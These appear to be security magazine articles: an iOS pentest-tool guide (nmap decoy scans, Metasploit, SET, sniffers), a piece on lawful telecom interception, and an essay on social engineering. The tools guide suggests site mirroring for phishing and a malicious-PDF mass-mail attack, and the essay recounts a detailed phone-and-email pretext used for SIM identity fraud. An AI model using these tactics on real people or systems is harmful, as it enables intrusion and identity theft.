-p 22,80 -sx -P0 80.52.1.76, 142. 8.10.4 192.168.1.37 with Decoy Scan the machine thinks that other is scanning

wget

What's it?

It's a free tool with which you can download content from web servers easily. With it you can download files, web pages or entire sites from Internet, quickly and efficiently. More info and manual.

Where do i find it?

You can install this tool from Cydia, it's in the preinstalled repos (Figure 11).

What can i do?

This tool supports downloading via http, https and ftp protocols. You can use this tool to just download or transfer files, but one of the most interesting things is



Figure 11. Wget on cydia



Figure 12. Downloading a html page with wget

the ability to easily download complex websites' mirrors recursively with the conversion of links to display the html content locally. You can use a downloaded full website as a method of capturing data for phishing.

- Download an html page using developer mode, this mode shows all the available information (Figure 12)
 \$ wget -d -S http://www.someweb.com/important.html
- Download files recursively from a web site with depth level. You can view the log information in the *log.txt* file
 \$ wget -r -12 -k http://www.someweb.com/ -o log.txt

tcpdump

What's it?

The classic sniffer for network monitoring and data acquisition, which allows users to capture and display, in real-time, the transmitted and received packets on a network. More info and manual.

Where do i find it?

You can install this tool from Cydia, it's in the preinstalled repos (Figure 13).



Figure 13. tcpdump on cydia



Figure 14. Capturing traffic to a port

What can i do?

tcpdump is used to analyze the traffic flowing through a network, it's so useful for network packet capturing and analyzing the output. You can get information about who is on the network, protocols used, ports used, what directions make a connection, ...

- Capture traffic to a given origin address
- \$ tcpdump src host 192.168.3.1
- Capture traffic to a destinationport (Figure 14) \$ tcpdump dst port 23
- Capture traffic to a given origin or destination port \$ tcpdump port 110
- Analyzing the output in the case of a TCP packet

src > dst: flags [dataseqno ack window urgent options]

- src: origin address and port
- dst: destiny address and port
- flags: TCP header flags. Can be a single "."(no flags), or a combination of S (SYN), F (FIN), P (PUSH), W (ECN CWR), E (ECN echo), R (RST)
- dataseq: sequence number of the first data byte in the TCP segment. The format is first: last (n), which means that from first to last (not including last) a total of n bytes of data.
- ack: indicates the following number sequence to be received.
- window: number of bytes of receive buffer space available the other direction

Filename	▲ Size	Modified	
🔻 🚞 framework3		hoy 21:58	1
armitage	493 B	hoy 21:47	
🕨 🚞 data		hoy 21:49	
documentation		hoy 21:49	
external		hoy 21:49	
HACKING	6.1 KB	hoy 21:55	
▶ 🚞 lib		hoy 21:56	- 1
🕨 🚞 modules		hoy 21:58	
msfbinscan	6.9 KB	hoy 21:58	
msfcli	7.4 KB	hoy 21:58	
msfconsole	3.3 KB	hoy 21:58	
msfd	2.4 KB	hoy 21:58	
msfelfscan	2.7 KB	hoy 21:58	

Figure 15. Installing metasploit framework

- urgent: indicates if there's urgent data
- options: indicates options between < and >
- Sample Output (from tcpdump man official site)

rtsg.1023 > csam.login: S 768512:768512(0) win 4096 <mss 1024>

csam.login > rtsg.1023: S 947648:947648(0) ack 768513 win 4096 <mss 1024>

Metasploit What's it?

what's it

This tool is used to run exploits against a remote machine to find vulnerabilities that may be taken advantage of. It comes with footprinting and fingerprinting modules for the collection of information; exploitation modules to gain access to systems; and post-exploitation modules useful for tasks to be done quickly (once access has been achieved of a machine). More info and manual.

How to install?

There are various versions of this tool on Cydia but they are old versions and do not work. To install the tool use the following method. You'll need *Ruby* and *rubygems* installed;

- Create a folder in the path /var/mobile/pentest/exploits mkdir /var/mobile/pentest/exploits
 ln -s /var/mobile/pentest/exploits /
- Download the metasploit framework from the link: http://downloads.metasploit.com/data/releases/frame work-latest.tar.bz2
- Extract the content; you can rename the folder *msf3* to *framework3* (Figure 15)
- Copy the folder to the path /var/mobile/pentest/ exploits
- To run the tool you have run \$./msfconsole in the path var/mobile/pentest/exploits/framework3
- If you have some problem, you can run the tool with Ruby directly from the same path

\$ ruby msfconsole
(Figure16)

How to start?

From msfconsole interface, you can see the list of modules that are available to interact with them.

- show all: see all modules available through the
 command
- show moduletype: see the list of modules of a
 particular type
- use: select a module by specifying the module name
- info: information about a module
- check: determine if the target system is vulnerable
 to exploitation of the active module. This is a quick
 way to verify that all options are set correctly and
 that the goal is really vulnerable to exploitation.



Figure 16. Running metasploit on mobiletermianl

Social Engineering Toolkit (SET)

What's it?

This is a toolkit that assists in the task of social engineering attacks. We can easily use the tool to impersonate the identity of a particular site, create PDF attacks, send email attacks with embedded malicious code, all seamlessly integrated with the Metasploit Framework. More info and manual.

How to install?

You find this tool in the Boo's Repo, if you have some problem to install it, you can try with the next method. You'll need *subversion* and *python* installed:

Create the folder SET in the next path

\$ mkdir /var/mobile/pentest/exploits/SET

- Go to the exploits folder
 \$ cd /var/mobile/pentest/exploits
- Run the next command to get the files in the SET folder (Figure 17)

• To run it, you can use ./set in the folder SET (Figure 18)

What can I do?

You can launch a email massive attack to a corporate emails list to get some remote terminal, you can attach a PDF with an exec to run the commands needed to open up the way, and give the port through which you want to connect, and just you need to wait that a user open the pdf file.

More known tools

iFile

It's a file system browser app. It's a comfortable way to navigate through the file system and open files of



Figure 17. Installing set with subversion



Figure 18. Running set

many types, also allows us to modify and perform a text search within them. You find this tool in the Preinstaled Repos (Price 4.00\$).

Aircrack-ng

This is a set of specialized tools in wireless attacks, you can use this tool to crack WEP pass, capture packets, ... You find this tool in the iNinja's Repo.

inetutils

It's a collection of common network programs. ftp, tftp, telnet, ping, ... You find this tool in the Preinstaled Repos.

dsniff suite

This is other great collection of tools whose purpose is get inside a network by any way possible using a password sniffer, utilities of passive listening, ... You find this tool in the iNinja's Repo.

network-cmds

Collection of many network command programs like ping, ifconfig, nestat, finger, ... You find this tool in the iNinja's Repo.

Stealth MAC

This tool can set a custom MAC address for the wireless adapter on boot. You find this tool in the Preinstaled Repos.

Ettercap-ng

This is a set of dissection tools with capacity for multiple protocols to facilitate the execution of attacks Man-inthe-middle local area networks.

You find this tool in the *iNinja's* Repo.

JUAN MANUEL ALTAMIRANO ARGUDO

During the last 4 years, i have been working on projects related with iPhone and iPad (iOS). I have long experience with Objective-C/Cocoa applications and Apple technologies. I'm currently heavily involved in development and mobile usability and new technologies.



MOBILE SECURITY

Lawful Interception

on Mobile Telecom Service

New technologies will greatly help Police effectively intercept mobile communication to combat cyber crimes, but how to ensure private communication is protected?

or the past few years, IP network transformation is shaping into a new operation and management on telecommunication for lots of mobile and fixed net service providers in the world. Along with this trend, the technology of lawful interception by police, military intelligence and other law enforcement agencies is also being developed with great leaps and bounds thanks to IP network being extensively used in telecom service providers.

Voice Lawful Interception and Warrant System

Traditionally police conduct lawful interception by collecting call records and call content directly from telecom switch. All information intercepted will be passively taken from this switch based on a de facto standard - ETSI or CALEA. By this process, police are only able to intercept calls, which they are allowed to obtain by warrant issued by court, and, on the other hand, this process can be audited by congress or parliament step by step.

For most mobile or telecom service providers, inside the tradition telecom switch there is an internal control mechanism, by which some calls with specified numbers can be retrieved from the switch, and redirected to a mediation device. Lawful enforcement management facility can get the intercepted information from mediation device via 2 channels: one is call record information (HI2), the other is call content for crime investigation (HI3). This way of lawful interception is also aligned with standard procedure of ETSI.

There is an important mechanism with this process - the warrant system. Every time before Figure 1. The email content recovery from captured network packets

conducting a lawful interception process, police, who want to monitor those calls with several specified call numbers, should also key in ID number, approval case ID by court, date and time stamp, and other information into warrant system for journal and audit purpose. The warrant system will send the commands (HI1) with call numbers to the mediation or telecom switch, and receive data sequentially. All received data will be grouped and managed with the relevant case ID by lawful interception system without exception.

Next Generation Network in Telecom Service

New IP technology, also called next generation network (NGN), in the telecom backend systems will greatly reduce the cost of operation and management for mobile telecom service providers, and enhance large degree of flexibility and quality to deploy new networks and services with both voice and data. By the nature of new technology, distributed deployment

Construction of the second secon	H FOF31	🕈 Delete 🤍 S	search					Every Page 8 Confin
1 11.3 2.2 Tatance Transcegore 5 Fankte Ged syst. Fank	No. 📃 🌒	Date-Time	Account	Sender		Receiver	CC	Subject Size SimilarW
2	1. 🗉 🛛		frankie	frankie@digi-fo		kie@digi-fo		🙈 🖲 (+) FW: U.S. needs Iran� 82.31K 🗔
143324 Banno	2. 🗖 0		frankie	decision@ed-sy		kie@ed-syst	frankie@di	🔒 🗄 🕫 FW. Govt rejects ultim 172.85K 🗔 🛛
Looker and and a finite damage of the d	3 🖻 创		frankie	frankie@ed-syst	- Hani	kie@ed-syst	frankie@di	🔒 🕅 🔄 🚭 Football: Australi 126.43K 🔟 🚽
Football: Australia makes bid for 2018 World Football: Australia makes bid for 2018 World Football: Who is a second with	State Zor State S				e@ed-syst		CONTRACTOR OF STREET	Sec 19" (122.136.65.211) Others gave Google May Due 19" (192.156.1.33) Others gave Google May Due 19" (192.156.1.33) Others Othe
ALL/DOUGLE Advances for bringing optimized the optimized by a province of the optimized by a	Football Cup	: Australia r				tective1@ya		19: 1008T:122-136-65-211103Q - 122:136-65-211
national by Monday	MELECURE Aut Protection Autors	mana have formally sodge sa (1914) Charman Plane	d their bid to nost th Livey said Sunday.	w 2010 or 2022 P m V	hois	A Distance Conclusion in		When many When many
We be added Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension if alleved a harding after to 2010 07 Image: Autory opension 07	nations by Monlin "We have submits Cup." Lowy set in	e et Australian extension e stationent	If allowed in heating	affer the 2018 or 201		the local distance of the local	And a second sec	



Figure 2. Webmail extraction and recovery from network packets

and management with network traffic and packet transportation in switching and connection will be the significant renovation in telephony center. All the backend systems are modularized and managed by series of application software, and can be replaced or upgraded module by module.

The whole telecom network systems can be divided into 3 parts: transport layer, IMS layer, and service/ application layer. In each layer, different system modules have different roles to perform different functions in the communication process, and can be replaced or upgraded individually. All module systems exchange messages and data by standard IP protocol. Using this process of message and data exchange, any subscriber's request will be fulfilled in a very short time interval.

Lots of value-added services, such as location-based service (LBS), color ring, AGPS, Internet access, IPTV, push mail...etc, can be easily implemented into the service/application layer together with the voice service, and also greatly increase revenue for telecom service providers. That's why most of telecom service providers in the world have started upgrading core network with NGN in their telephony centers.

Lawful Interception in Next Generation Network

Compared to traditional telecom switchs with standard LI interfaces, lawful interception can be reached with extensive tapping deployment in NGN without a central warrant control system, and eventually a wide scope of information, such as voice, data, geological position, mobile device ID...etc, will be sent to a data warehouse in the LEA monitor center. With powerful backend data mining or business intelligent systems, lots of personal information can be collected and analyzed by state organization. Even encrypted communication data can be decoded by using a more complicated system.

Though it is hard to intercept data through Internet access in common IP network of ISP, it is quite easy Figure 3. The instant massager captured from live communication

to intercept the digital data for all as it will be through IMS layer, and dispatched to the Internet gateway. Police can deploy taps in IMS layer or transport layer, and also voice and data stream can be intercepted separately and processed inside the IMS laver. Some subscriber location information also can be acquired from Base Transceiver Station (BTS) or regional telephony center (POP) in service providers. With such location data processed in the backend AVL system, police can even get subscriber movement tracking in real time.

Lots of content or online service providers provide encrypted communication with SSL or TLS secured protection, and some use proprietary protocol for protection, especially email, and VoIP services. In some way, these security mechanisms provide relative protection for private communication in certain level, but not absolutely! Through some network deployment and injected spywares in PCs, most of the secured private communication, such as Gmail, Skype...etc, can be broken down and intercepted. Unless some advanced encryption algorithm is applied, which is usually provided and used by state intelligence, no one can hide his confidential communication.

Information by Law Interception

Intercepted information from telecom NGN must be processed to be recognizable in order to conduct advanced data analysis. This process can be complicated sometimes, for the online services contain too much hypertext data from different sources or encrypted data. Basically only several online services will be in the list of interception, such as email/webmail, Instant Messenger, social network, and VoIP services, which are also most popular among global Internet community.

The most important feature of LI equipment with telecom NGN is to process packet data into meaningful information by different protocols. So, how to effectively reconstruct these packet data into recognizable ones and retain original data are very important for the

.Se M	ISN	10	lelete Searc	th RAccount	List						Every Page	8 C	mino
No.		0	Date-Time	Account	User Handle			Parti	cipant	ls i	Conversation	Count	Simila
9.	E		2008-09-22 09.56 23	VIC-TEST	diesis@ms62 hinet net		dici	k6911116	yahoo	com.tw	+Conversation	20	10
10.	1		2008-09-22 09:32:21	VIC-TEST	diesis@ms62 hinet.net			he0430@	hotma	il com	+Conversation	11	R
11.	21	θ	2008-09-22 09:10:59	VIC-TEST	diesis@ms62 hinet.net		-3 sh	mily.d061	13@mg	sa.hinet.net	+Conversation	48	10
12.		0	2008-09-22 09 10 59	FLYY	S shmily.d0613@msa.hinet.net		4	Sesis@m	s62.hir	set.net	+Conversation	48	
13.	83		2008-09-22 09.10.59	FLYY	Shmily d0613@msa.hinet.net		ph	mp12129	@hotrr	ail.com	4Conversation	8	
14.	11		2008-09-22	FLYY	3 shmily.d0613@msa.hinet.net		dici	k6911116	yahoo	com.tw	+Conversation	28	10
15.	EI .	8	2008-07-02	192,168,1,13	13 wedetective@hotmail.com		-3 v	edetectiv	e2@ho	tmail.com	+Conversation	7	
16		0	2008-07-02	FRANKIE- PC	3 wedetective2@hotmail.com		tion 200	In last	Reads care	mittel	- 1 100	tition from	
	12	3	Enter Page	Go			1.11.75	-	-		•		_
_			Contrast Manual		Every Page E Control	1.1	10.00 pr 2000.07-02	mining	Sec. 1				
	-	-	the second second		Condition of Second	*	1046-01-02 1046-01-02	and and and	-	*			
	114		Account		Manual Control of Cont	1	10 46 25	and the state of	Barren I				_
			Bullig Stor cam		EGGEA		10.40.00	and the start	ments	Rat ye			_
	2		inima/Mildonial com		7978								3
	1.1		phearman@ubles.nut			1	1000		~	ALC: N			
	4	1	beraun weuntighen en					-		Contrast States and			
	1		Specici@mas.com		States in Long to Long Line			and successful and		Colline Reason From all			_
			particil217@mass.com			-	4/4/2F	and and and a	-	Nation you Provide			_
	7		on Tilling pohune com	ta (r	m-你说说那里北京了.		99-40-19	and the state of	100	•			
			previa@htimai.com			-	2011.40	-					No.1 M
		1.2.7.4.1	ATS wie Exter Page	04	Total 81 Total Page 2 Current Page 1	1.1	30.00.40						NUMBER OF STREET
										8			



Figure 4. Chat in facebook

LEA investigation capability against cyber crimes and terrorists.

Taking example of several screen shots from such LI equipment as below, we can understand how far this device can perform its job with interception on email, webmail, IM, social network and other online services:

- Mail by client-server mode By POP3, IMAP, SMTP protocols, LEA staff can get date/time stamp, account name/IP, receiver name/IP, title, content with attachments...etc.
- Mail by webmail mode some email service provided by ISP or CSP use J2EE, php, .NET...etc with multiple frames, such as Gmail, Yahoo Mail, MS Live...etc. LEA staff can also get date/time stamp, account name/IP, receiver name/IP, title, content with attachments...etc.
- IM is very popular in Internet community for instant communication among friends, partners and family. It is also the common way to have confidential talks and exchange sensitive information, so it is the major focus and interest for LEA to intercept its content from time to time and conduct data analysis and cross checking by full-text searching.
- Social network is the fast growing Internet services among Internet Community. Because those services are powerful to broadcast messages in very short time to general public, LEA staff in every country may intercept the most popular social network services, such as Facebook, Twitter and others, also focus on various target accounts' social network for intelligence collection.

After 2011 London Riots, both the London School of Economics and Guardian conducted an extensive study on communication among rioters. According to this report, some social and economic factors with communication were exposed in depth. From usage of Twitter, active rioters can be spotted, and information about Figure 5. Twitter text message

how far they commuted to riot sites, how long they stayed in riot sites, and how often they use social network to call friends can be identified by tons of intercepted data with Twitter service. It is not only for riot investigation, but it also helps to analyze the socio-economic factors among mob behind riots. If you are interested in such study, please check out the following URL: http:// www.guardian.co.uk/uk/series/reading-the-riots.

• Traditionally VoIP is the primary interception function of LI equipment in a telecom NGN environment, for all the voice data come in and out through transport, IMS layers are in the form of VoIP. LI system supports the most popular RTP codec, like G.711a-law, G,711µ-law, G.726, G.729, iLBC, which are all ITU standard.

Besides voice content, LEA staff can check out lots of useful information, such as caller and receiver numbers and IPs, date/time stamp, call duration, and location information by request from BTS. Solution providers will usually help LEA integrate it with HSS system of the service provider in order to get subscriber information. That's why state requests subscribers to have real name registration when using a telecom service in some countries.

In a few countries, there are also different popular online services with unique culture background for a dedicated closed minority. By using LI infrastructure, state authority and social justice can be reached.

Lawful Interception in Telecommunication

Data interception may be highlighted guite often in the LI process, but the most significant point is not in the analysis of huge volume of intercepted data. The most difficult part of the LI process is that the quantity of data is too huge for LEA staff to interpret, due to the intensive use of telecommunication by various different ways. Few years after 911, several new technologies on data analysis, such as data mining, text mining, link analysis, were developed for large volumes of data, say





Figure 6. Voip intercept from live communication

by PB (petabyte1,000,000GB) in some countries. With such large data processing tools, LEA staff can decode large amounts of useful information, such as hidden meaning behind text, cross-checking with several IPs, phone numbers and MACs, link relation among groups of subscribers, and, with international cooperation, tracking suspected groups in different geological areas.

Just like the study on 2011 London riots mentioned in the previous section, conducting analysis with such huge data will result in some useful information. In cyber world, anonymity is quite common. By link analysis and text mining with subscriber information in service providers, LEA staff can easily find out identity of participants, and clarify role and responsibility among them (of course, it is also important to have international cooperation on cross border communication). In 2011, such thing just happened in the Far Eastern region against crossborder cyber crimes among China, Taiwan, Thailand, Vietnam and Philippines.

Nowadays, most of terrorists in the world are suppressed and under strict supervision by global cooperation, just because the above technologies are widely used by LEA staff in many countries with different extent.

Private Legal Communication Protection

Anti-terrorism and anti cyber crimes are common agenda for LEA staff in most countries. There is no doubt that they work together. What about social activists, and political conscience elements in different countries? It is a sensitive area to touch in the formal diplomatic arena because of different social and political atmosphere in each country. There unlikely to be a universal standard for it with consensus in UN Assembly.

Even though, we still need to think about the private legal communication protection among common citizens. It is the basic human right listed in Constitution Law of many countries, and should be protected by statutes. So, it is quite important to have an equal balance between social/state security and human right at this point.

Now it is about time for both citizens and state agencies to have a better way to protect private communication without disturbing legal crime investigation using new technology adopted by telecom service providers, whilst upgrading the existing lawful interception platforms in each police department.

The new deployments should cover the de facto standard of ETSI or CALEA as well as the nature of an IP network, which is of distributed network and multimedia data centric. Since new technology is still under development, suppliers and system integrators should think about the embedded mechanism of personal data protection inside a lawful interception facility.

For the coming decade, most of mobile service providers and fixed net service providers will upgrade their backend system with new IP technology. How to provide a powerful and secured lawful interception facility and also protect personal data will be a big challenge for both system providers and LEA buyers in the world. We look to see future development with great interest and anticipation.

TED CHAO

Ted is the senior technical and marketing consultant in Decision Group Inc., which is a significant 24-year old network forensic solution company in Taiwan. For the past



few years, Ted has been involved in several state LI projects in Middle East, African and ASEAN countries with Decision network forensic solutions and service. He has previously worked in Acer, Compaq, HP, Booz Allen Hamilton, and Lucent Technology for more than 20 years, and was also active in ITC market in GCC area for 3 years. With more and more new telecom technology being introduced to the market, Ted and Decision R&D group are now working with advanced technology to help LEA staff worldwide prevent more and more cyber crimes and protect private communication. If you have any question, please forward to: edetective@edecision4u.eu.

The Line That Matters

How often in real life do we ignore the little things that come and go in a swift blink of our eyes? And of course we are social beings. We always strive for the practical application of the theory that says love and help thy neighbor.

A nd why not, as society literally means a civilization where in people co-exist, *HELPING EACH OTHER*. But do we really realize that the term helping is not always in the best interests of the society. *Obvious* would definitely be the wrong term to describe the thin line that exists between *THE SOCIAL AND THE ANTI-SOCIAL*. The social: what we ideally should be; and the anti-social: what we actually are most of the time, due to the undeniable natural tendency of human beings.

The one reason for this thin, dangerous, perhaps even lethal (as we shall see shortly) line between the two categories is ignorance, and if you are from the field of information technology the issue gets even more spiced up! Not to mention the ultra-levels of confidence that seem to seep through the corporate mind with thoughts like we are now equipped with the most modern and the most secure state-of-the art security infrastructure, an investment of millions that will certainly protect us! These thoughts seem technically and phonetically secure enough to cast a hypnotizing spell on the people concerned, usually the top level management.

As mentioned before, we are humans in an age of information technology. Ok, so one of the first problems is that we seldom give a lot of importance to the word data in our daily routine. That is not to say that we don't use it or do not understand the meaning of the term, but most people fail to realize the difference between mere, raw data and extremely valuable information. Again the one factor that I think is righteously blamed is the HUMAN FACOTR or let me rephrase it to make it sound more convincing and arguably polite, the UNTRAINED, IGNORANTLY ANTI-SOCIAL HUMAN FACTOR.

Data and information are two words, entities, or even more abstractly concepts that have always inevitably been an important part of any society. Today's world is one of huge data, globalization and cut throat competition has just made these two even more important. As the importance increases, so does the necessity to protect both raw data and information. Protecting data is no longer considered just a part of the routine function of an organization but is considered as one of the most valuable assets of the company. Assets did I mention? Yes and so every single measure must be taken to safeguard these assets, to save integrity, privacy and confidentiality. No system ever is perfect. It may have the best, most cutting edge security infrastructure, but what do you think is the most important among all these high-tech protections?

It may just sound a little outdated and old fashioned of a concept, considering that a common trend among highly technical security professionals is to not blame anybody, but THE HUMAN FACTOR should not be ignored. If this was your guess, congratulations, you have hit the jackpot and now we have started getting the matter of the subject. But is it really so innovative an idea that it needs a detailed discussion? Simply put, yes. We all know it. We all have had our preliminary training and the initial boring lectures on keep your passwords safe, do not give it to anybody, keep your antivirus software updated, etc., but the most typical sin has been committed and that is the failure to address the human desire to help. The natural human nature is inquisitive with curiosity as its diet and a motivating factor to get hold of something, a goal or reward. And believe me the accomplishment of this goal has way more than just the poetic simplicity of the sentence.

So what does it take, really? A few convincing statements, a situation of helplessness presented in a most humble way, a self-proclamation of stupidity, a vey helping attitude that makes you proudly boast and say, the world is still a good place to live in, there are still people who honestly believe in 'help thy neighbor'. A very slight bend and twist of an accent to fully play with the natural common human psychology and complimentarily, the very deck of prejudices that we humans usually carry boldly, is all that is required to bring your entire investment in obtaining the so called highly secure, state-of-the art security infrastructure down to ashes. As is rightly said, a chain is no stronger than its weakest link, or I rather love to state a more relevant version of it to myself and my friends, a security infrastructure is only as non-vulnerable as is its most naturally human employee. And probably most of us, if not all, would certainly agree that the receptionist, too, is an employee and they are the most willing to help with such pleasant smile.

The time is now to address the issue. I'd like to take the privilege of introducing you (with all apologies) to our good old friend, the SOCIAL ENGINEER, and a very warm welcome to this formidable world of SOCIAL ENGINEERING. It is also important to revisit of the almost identical twins, DATA and INFORMATION. What exactly is data? Well, computer science students many have a classic answer for this: *any raw collection of numbers, letters, etc. is called data.* So then what is information? A definition with style would be *processed and meaningful data is information.* So what is the problem? The application is the problem. Let's look at an example to make things clearer.

What do you make of this string: UP63C8047? On the first glance it appears to be just a set of random characters and digits. What use could it possibly be? In India we have license plates that follow this pattern: the first two digits are the abbreviation of the state in which the vehicle is registered. The next two digits is the district code. The last 4 digits is the unique number assigned to the vehicle and it is preceded with a letter in case the unique numbers get exhausted. And boom! In a flash the above random characters and digits become meaningful. And now suppose I tell you this is the license plate of the vehicle that the banks use to transfer their cash every month from one branch to the other or to a remotely located ATM machine. And another boom! And the 'random' becomes a very valuable thing.

This is the very real and accurate difference between data and information. UP63C8047 is raw and crude data as long as it relevance in not known. When the value is known it becomes the van that carries cash and is now an extremely vital piece of information. So what? We all know this difference. Where's the catch? Well of course we all know this but what we often fail to realize is the thin line of separation, the boundary that exists between the two. We often tend to cross this line unknowingly and don't even realize that something could be a junk to us but for someone else it might be the most valuable asset. And trust me on this, the world will never run out of people who love to play jigsaw puzzles. It is entertaining, it is fun, it keeps you thrilled and what's more is that you have to solve it to get access to a secret of some kind (the motive), and you are certainly never going to stop hunting for the solution.

Many of us are born social engineers. Most of us have used this skill in some form, at some place and time. We just did not realize what it was we were doing. Back in the days of high school, we all (ok if not all then most) have flirted with a pretty girl to get her on a date. Those of us who were successful know of all the weird stories it took to convince her for that one date. There you go: social engineering in one of its most basic forms. Many a times, when we were kids, if we remember, have our parents made up stories, all to get us to do well in exams or when we were even smaller, to convince us to eat healthily and mostly drink milk. This is social engineering as early as I can remember.

And if these examples sound too lame, definitely yes, we always have that 'classic definition' concept of social engineering that says, *Social Engineering* uses influence and persuasion to deceive people by convincing them that the social engineer is someone he is not, or by manipulation. As a result, the social engineer is able to take advantage of people to obtain information with or without the use of technology.

You are under the impression the article is more of an ethical and moral values lecture rather than being anywhere near the domain of information security. Let me narrate a small incident that happened not long ago, and I was fortunate enough to witness it. *It shall knock you off your feet*, and hopefully it will surely give you an over the shoulder glance of the powerful impact that social engineering can have.

It was the 30th of December 2011. Yes, right a couple of days before the New Year bash. A time when your cell phone is no less important than your kidneys if you are a young college going teen. It ought to be more or less permanently busy, getting and giving New Year wishes to friends, girlfriends, family etc.

The guy's name is Mike Joseph. He got a call at around 11 am on the 30th. Here's what followed.

Kreig Forest: – Hi! This is Kreig Forest from Airtel central office, Vellore. Can I speak to Mike Joseph please?

Mike: - Yes, Mike here! How can I help you?

K: – Sir we are sorry to inform you that the documents you submitted while purchasing this special New Year offer SIM card have not been verified at our central office. As a result we will have to shut down your services until we receive your authentic documents.

M: – But it wasn't my mistake. I submitted the required documents well in time. You can't just shut down my services now. I need my cell phone urgently for the next few days. It is new year you see.

K: – Yes sir! We very well understand the situation. But we can't really do any thing unless we get your authentic documents verified!

A pretty much annoyed Mike angrily replies back, – where the hell on earth do I need to get those documents verified?

A more polite Kreig replies back, – I am once again sorry for the inconvenience caused sir. As a matter of fact we have had similar complaints from our other customers. So we tried to set up a facility so that our customers will not need to be bothered any further.

M: - You better not bother us any more!

K: – We have set up an automatic system that shall verify all your details, so there is no scope of human error, particularly not now, at the New Year eve. You won't even need to take the pain to come down to our office. All you need to do is send us your details on our mail id which is *Airtel.kpd@gmail.com*, that was with a capital A.

Kreig continued in the same accent, – sir, please send us your full name, address, both temporary and permanent, your father's name your date of birth as it appears on your birth certificate and a passport sized photograph. We also need you to fax a photocopy of your identity card, like a voter's id, a driving license or if you are a student, a college id with your photograph on it is also acceptable. The fax number of our Vellore office is 0416223683. And lastly do no forget to mention the date and area you purchased your SIM card from. This shall help in tracking the problem and lodging a complaint so that similar kind of things does not take place in the future.

Mike was happy that his service will now not be terminated. He at once mailed and faxed the required documents. Within minutes of this he received a confirmation mail thanking him for his co-operation and assuring him of continued service.

The attack went like this: Kreig Forest (Kapil Solanki) is a college going student, who happened to read this book by (sir) Kevin Mittnick, named the art of deception, one that I personally consider one of the best on the topic. Now Kapil happens to be a student not easily convinced with theory and loves things to be practical. Driven by this urge of his, he wanted to know if a social engineering attack is really practically possible. So he analyzed his target, a classmate of his, named Mike Joseph. Chalked out a plan and went about executing it. He went to a nearby calling booth that used an Airtel service. This made his call look like it really came in from a local area office, because offices usually use land line phones. He then registered a mail id by the name Airtel.kpd on gmail, and with a capital A and a 'kpd ' in the end, which is the station code for Vellore, all to make things look more real. He gave Mike the entire story about the document verification and made it look real enough, through his confident accent. He then gave the victim, Mike, a local area fax number. And finally for the last part of his con game, just to be sure that the victim does not get left with any doubt about the call, he also replied back to the mail with a confirmation and stating that a complaint has been registered. He even gave an arbitrary complaint id to Mike for any further communication.

Well what use was it for Kapil? Within an hour Kapil had all the documents and details required to purchase a new SIM card in someone else's name. He had observed a shop and its owner pretty closely and subtly had identified the vulnerability. The shop was opposite the college and usually was very busy. The shopkeeper was used to selling SIM cards to students and it was an everyday business if some student wanted to purchase a SIM card on the name of his friend, provided he had the proper details and an ID proof. Due to the rush of New Year's the shop keeper did not really bother to see the original ID, a simple photocopy attached with the card request form was comfortable enough for him. And Kapil now had a SIM card issued to Mike's identity.

All my senses point the only reason Mike Joseph blindly fell into the trap was carelessness and his human attitude to trust, to not cross-verify the caller. He did not realize the importance of keeping his personal information confidential. He did not really realize when he went too far beyond the line.

I am pretty sure because we are all humans, that most of us are still underestimating the social engineer. Many of us still haven't realized that the world we live in today is both an information era and equally and unknowingly, globally accepted era of social engineering. So for those of my security interested friends who find that playing college pranks is way too lame to be an attack, here is another incident that I'd like to sight from the book 'The art of deception', by (sir) Kevin Mittnick. Now this is pretty much a story that I say make chills run down your spine.

The Network Outage

Day/Time: Monday, February 12, 3:25 p.m. Place: Offices of Starboard Shipbuilding **The First Call: Tom Delay**

- Tom DeLay, Bookkeeping.

- Hey, Tom, this is Eddie Martin from the Help Desk. We're trying to troubleshoot a computer networking problem. Do you know if anyone in your group has been having trouble staying on line?

- Uh, not that I know of.

- And you're not having any problems yourself.
- No, seems fine.

- Okay, that's good. Listen, we're calling people who might be affected 'cause its important you let us know right away if you lose your network connection.

- That doesn't sound good. You think it might happen?
- We hope not, but you'll call if it does, right?
- You better believe it.

- Listen, sounds like having your network connection go down would be a problem for you...

- You bet it would.

- ... So while we are working on this, let me give you my cell phone number. Then you can reach me directly if you need to.

- That'd be great. Go ahead.

- It's 555 867 5309.

- 555 867 5309. Got it. Hey, thanks. What was your name again?

- It's Eddie. Listen, one other thing--I need to check which port your computer is connected to. Take a look on your computer and see if there's a sticker somewhere that says something like 'Port Number'.

- Hang on No, don't see anything like that.

- Okay, then in the back of the computer, can you recognize the network cable.

- Yeah.

- Trace it back to where it's plugged in. See if there's a label on the jack it's plugged into.

- Hold on a second. Yeah, wait a minute – I have to squat down here so I can get close enough to read it. Okay – it says Port 6 dash 47.

- Good – that's what we had you down as, just making sure.

The Second Call: The IT Guy

Two days later, a call came through to the same company's Network Operations Center.

- Hi, this is Bob; I'm in Tom DeLay's office in Bookkeeping. We're trying to troubleshoot a cabling problem. I need you to disable Port 6-47.

The IT guy said it would be done in just a few minutes, and to let them know when he was ready to have it enabled.

The Third Call: Getting Help from the Enemy

About an hour later, the guy who called himself Eddie Martin was shopping at Circuit City when his cell phone rang. He checked the caller ID, saw the call was from the shipbuilding company, and hurried to a quiet spot before answering.

- Help Desk, Eddie.
- Oh, hey, Eddie. You've got an echo, where are you?

- I'm, uh, in a cabling closet. Who's this?

- It's Tom DeLay. Boy, am I glad I got ahold of you. Maybe you remember you called me the other day? My network connection just went down like you said it might, and I'm a little panicky here.

- Yeah, we've got a bunch of people down right now. We should have it taken care of by the end of the day. That okay?

